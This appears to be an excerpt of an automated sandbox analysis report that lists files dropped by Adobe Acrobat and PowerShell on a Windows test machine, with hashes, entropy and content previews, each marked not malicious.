SHA-256:	130EC4CFD5C44B5235CC4E3C4AB30E003D7480FC5027F750BDDE6DD9CC18DB9A
SHA-512:	47492E07A696DEC15D768FB85BB0B3976ADF1478C9C55B5ABC0766BEFBF59EA35E42669C872F359F008B1706C626357BB63408FC3F9E4FB2E8E5DAB8F22B7E1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.324609717762564
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJfzdPeUkwRe9:YvXKXFUCz4bsdTeOyGb8Ukee9
MD5:	F46AB018E28B19AA47E4D377FD489BB1
SHA1:	38EFD574C720F93A1A4D4C5EA3C039F7F9297817
SHA-256:	8238CE2A5BEFA98D0B0A1D41210E0C8AE32EE2C45BF733C253254F4081D7D284
SHA-512:	60F180A16B054F97304454BAED748D1D1CFDAAD067AE774A24D5235723148287C411A29B2100D0C5117B06325AF27C0B224FF46BCCC0597897A1F8CA26B690CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3050685579674415
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJfYdPeUkwRe9:YvXKXFUCz4bsdTeOyGg8Ukee9
MD5:	66E7E57947898CF0FB4F0C9BB20A2663
SHA1:	CCABFF4E437BD502221CAD9B46C144A31EF80674
SHA-256:	FEFE5A6CBBCF7086717D7C93CB60292FE6D75B5489937EA050481A210F84DBE4
SHA-512:	2A157063060478BB1D71BF2B3BDBE9A6B92322CFB0398FEAD435BC198B7E12546B8E0F1F30231A4599576816F0B20FA54E6201741EBA61676D2C2854D8E3981E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.291208165965797
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJf+dPeUkwRe9:YvXKXFUCz4bsdTeOyG28Ukee9
MD5:	426061A217AC7FEF6E0722C6D4667A07
SHA1:	9CF5401A4A6A1430A50FC075B0048084D631BB87
SHA-256:	48341ED5C88AC2512A36267EED1494881EAEC86B794A1AD06110598BA0E37DB6
SHA-512:	E392DC02229DE9671A73C2111A68515DB8E98A94826B1616744AEDA041E37A82250FA9ACCD9800063DBCDF86726BFFE89C05AD9AE538AE0643DAD7B6B0F501E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.288580820191357
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJfbPtdPeUkwRe9:YvXKXFUCz4bsdTeOyGDV8Ukee9
MD5:	9D88D1AD8C5F7EA2A0DC7523337F4130
SHA1:	881EE79A2ECFF24FD94472DA70D4492DCA4055B2
SHA-256:	361FBE4CEE1F425A7F1CFB0AA30160FD625AC81803D7BE34D82637EEC9FF8523
SHA-512:	7F9B61036166C80CD11A3D155435459D2E21534611BCCB8CC444EA5880C047665CAD13D3D9EF588665840EA1E2118DC53E8381FA9175578D8AB513C1DFB81930
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.292988048627882
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJf21rPeUkwRe9:YvXKXFUCz4bsdTeOyG+16Ukee9
MD5:	A905240951BEA26061D878E5859721FB
SHA1:	CE8D381D1978B111013FA9036C6F4CB424A9E842
SHA-256:	7E9075B2298633297AB531224CEB9943CA29F9F6EFFB4362E8D9CB385849C2BF
SHA-512:	4F39D98CF5FD6A864AF55954AB6B1ACE91A3A5664F5A4F9E5432663FB7DAAD56AA7BCAA090F4C4C8F8F908AD376EC78B0BEA28B14DE8D9DB4BA0FC97C89B87E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661153397764256
Encrypted:	false
SSDEEP:	24:Yv6XWCzomeOXamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSqH:YvbkeCBgkDMUJUAh8cvMW
MD5:	5D30FA54EB43460269816D6DC947341B
SHA1:	D66003712C5FC76B743103F9BB068F6AF314E2B3
SHA-256:	6809B54EB0F2D70FBA1F58B66951F95B88FC4CA2091E9733732E0B4748625900
SHA-512:	EE541F4ED204342B38A92E361990F9BBE2602E76ABC16EDB327D44738C75A049B0F7977B503138078CDB0A61CC35EA45D48181DCE5AA114019411313269AC4E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.269680434348636
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJfshHHrPeUkwRe9:YvXKXFUCz4bsdTeOyGUUUkee9
MD5:	294C09A3689F2BB0D0663B902A36FD73
SHA1:	5C6730F9AAC1E439DCF40468DA182675965F4BF1
SHA-256:	4EB892242CA950416F6D7D1376B1B1AFF7446CD5949F6DEED33DC8C3FAEEB514
SHA-512:	0708BBEE9F79EA5E5BA96110A7B37E38C1A86846D53FFEDD81F6646280FF897711EBAE1732662477154957C9B084674D0DEE4956E6E1C36F55E363BF192FB0E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.284821380660175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFUzuz4n4WsGiIPEeOF0Y0CoAvJTqgFCrPeUkwRe9:YvXKXFUCz4bsdTeOyGTq16Ukee9
MD5:	3D4A90EB6FBF6D2D9FB2B9D38B0FD007
SHA1:	AF7E0EE64A451B6A0A5ED36C57761F5F93861734
SHA-256:	B5F3425D11F138AD09BC9B839F387E354B1CADDC4F5F20E9401E9FD8E4D6087F
SHA-512:	5662C53378D2F917EFDD47B83CF19F1E6DEA461464FF219B99235CC2E3BCBE57EBCB0410AEE3986DDD98CDB8BC8EEE55B7EAA1D316DD2B93D9516B7FD83BCCC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"283a942f-8b36-4b6e-bc24-1b766152f25d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742216223,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136874856331187
Encrypted:	false
SSDEEP:	24:YF5afj9aykohUyYr4Ym4QeErIaTjlj0Shx52jH2LSjCsIqCZsn9by52Qaj95uPOG:YCjnhQe4oRppKZYqWs92Y9G
MD5:	F5243801910E25D50511DB81A52EADF7
SHA1:	A454F89207A7A14D9B4F49579EF9DFBAE5BA2E84
SHA-256:	8130B701B3B0114AEA88920FEF3584E5DD065C37EECE62C15FB4334A17736D5B
SHA-512:	8E6A7BBBB236E2BBDC22DDA0EB4ECF71CEED540664B87C581CB90B3CB693A7D8E7BF2FBD0A4742329C11E960553498C1EA3B4F01143A6CC46F086B9A841D4A79
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"36d79967a906983e99eb90e51aa71dd2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736564451000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5ba4ee23912d8a554ab6ed973d3f9d14","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736564451000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ebab99ebd76291f09191f52e08eba7a7","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736564451000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"aa8d70ddfae6ccbd388f58a3c51a19f2","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736564451000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"cb5e28de28a613b0e6366e4714980f83","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736564451000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"41ee9d52c491d252eba0681a098e0071","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4526475901405893
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsUZlaF:lNVmsw3SHtbDbPe0K3+fDZdo
MD5:	C7484F235AECA01962751182FDF71FD4
SHA1:	A913AADD87AC28778FF1D80279F1E0B00B7A44E4
SHA-256:	95A52880094F2D5A919A7CAC85835EE5FA9F0048FAEF7D51F29AA5B26586C3C1
SHA-512:	345B6B02C3B3A2942D8C6FD7800C7A5BBA5393AD5F33ECC0C37742687CCB50CC3CF247820C749289C100DF1043B411C3A82D44F44F6A4632902642EE46280D22
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.959015856372385
Encrypted:	false
SSDEEP:	48:7MKrvrBd6dHtbGIbPe0K3+fDy2dsUsKqFl2GL7msJ:7/3SHtbDbPe0K3+fDZddKVmsJ
MD5:	D0D4719D74690FE6CC5648D91B8672E9
SHA1:	C6B04057AC17B907AE3CDB1FE3E20B6DF29C8007
SHA-256:	871513F37AAA5B4B0619ED0E7550C1E6E740F5AFFBE32F87ABFE666DC951127A
SHA-512:	B5A98915061A871FA1DB61FBBEDB14F6561FA64B003E24C46ECB49098544C607CDB5E9018783B7600E2CAF4C7BEC0988E4999214BE299A54034085D792CAF43E
Malicious:	false
Preview:	.... .c.....].........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg/vxwN2C/llvPdjF6R3gZIIOpYyu:6a6TZ44ADE/vx4TvPdRZIIUK
MD5:	1B51DA514282B65F40172725A1F37E0D
SHA1:	8A6D3DAC3B8F741A0216A574DC439797A160E0FE
SHA-256:	288DBC4E00C4258F593D5B8BFF0E8A79D0A7A3DFEDCDD4E226965A071D39357A
SHA-512:	09226EA46B20DE0477D914892A922512E09CE9F4CEE42A3B7A9AA446BE13BF10F2573EA1E42C1CFACC2BBC446949817A7BB1410765557970D1425C145E7ABE41
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIbf2c1.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl89:Qw946cPbiOxDlbYnuRK+bZ9
MD5:	31692000DA9232216387E4612DFA9B2B
SHA1:	328B703F7A2A2598CF4062447641D025D5BA9C81
SHA-256:	A649F522E695DC6DA051C7EDEECC88417EAD0038BBEE1D9D070087FAA7E515F4
SHA-512:	790DFEAAB9251E3255208A5C1420C96B656429D3C38D1CC0AA2CF94CCFDCE46D2F32EED303FCEC6B3030164271A486DF0B99027B532E1B8D7DFCA55C34C305A9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.0.0.:.5.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0op2o0t.eij.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y0010xx1.uuy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-00-47-284.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.33954817023335
Encrypted:	false
SSDEEP:	384:HFxMIkpW1tWBMa4jhNoQvh10kfAuA6CBMVJVgWs02v0W6tIXg4YDRRqpq7WH1jZx:J1TLW
MD5:	B85B9BEA081A023D38931C31813936DC
SHA1:	8675AA2F88295E33D9B9572488F18C395E26CE11
SHA-256:	119156AF52386B62F32F4AFC2388385905FF191B0E21E3CBEB4A668FB14381F4
SHA-512:	20D3D7D0F214CFD04020BDA868FB25131EE761E968CBBE5D23B6DFD54C78C8C546C7E2A0B287976EA8272A2F6E983688DF575132C1112CB4268130C44FF82A28
Malicious:	false
Preview:	SessionID=4e3675cc-0276-477c-a934-a0ba9905c959.1736564447311 Timestamp=2025-01-10T22:00:47:311-0500 ThreadID=6388 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4e3675cc-0276-477c-a934-a0ba9905c959.1736564447311 Timestamp=2025-01-10T22:00:47:340-0500 ThreadID=6388 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4e3675cc-0276-477c-a934-a0ba9905c959.1736564447311 Timestamp=2025-01-10T22:00:47:340-0500 ThreadID=6388 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4e3675cc-0276-477c-a934-a0ba9905c959.1736564447311 Timestamp=2025-01-10T22:00:47:340-0500 ThreadID=6388 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4e3675cc-0276-477c-a934-a0ba9905c959.1736564447311 Timestamp=2025-01-10T22:00:47:341-0500 ThreadID=6388 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.406016698436965
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRswwEbUJEnxVlxDq:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR6
MD5:	0C7716026736B237361337FEE0EF02F2
SHA1:	9E39DADD2F3E6B854D7AF4FE4670145D644C9D21
SHA-256:	33D18A003762CCB0579954D8196E428014666518ACCF2B0E23A63EF4E31D41C0
SHA-512:	230383C0B334F8A4A72B823337747F547B5DA115A71A2DA910AB2B7B82475DD8764EF3D6EDF682683AE5ECCB84C6D42451CF3041FF071EEDB346A5BC2C6ED59D
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\7964081e-406c-4b61-bebf-14c72320156d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
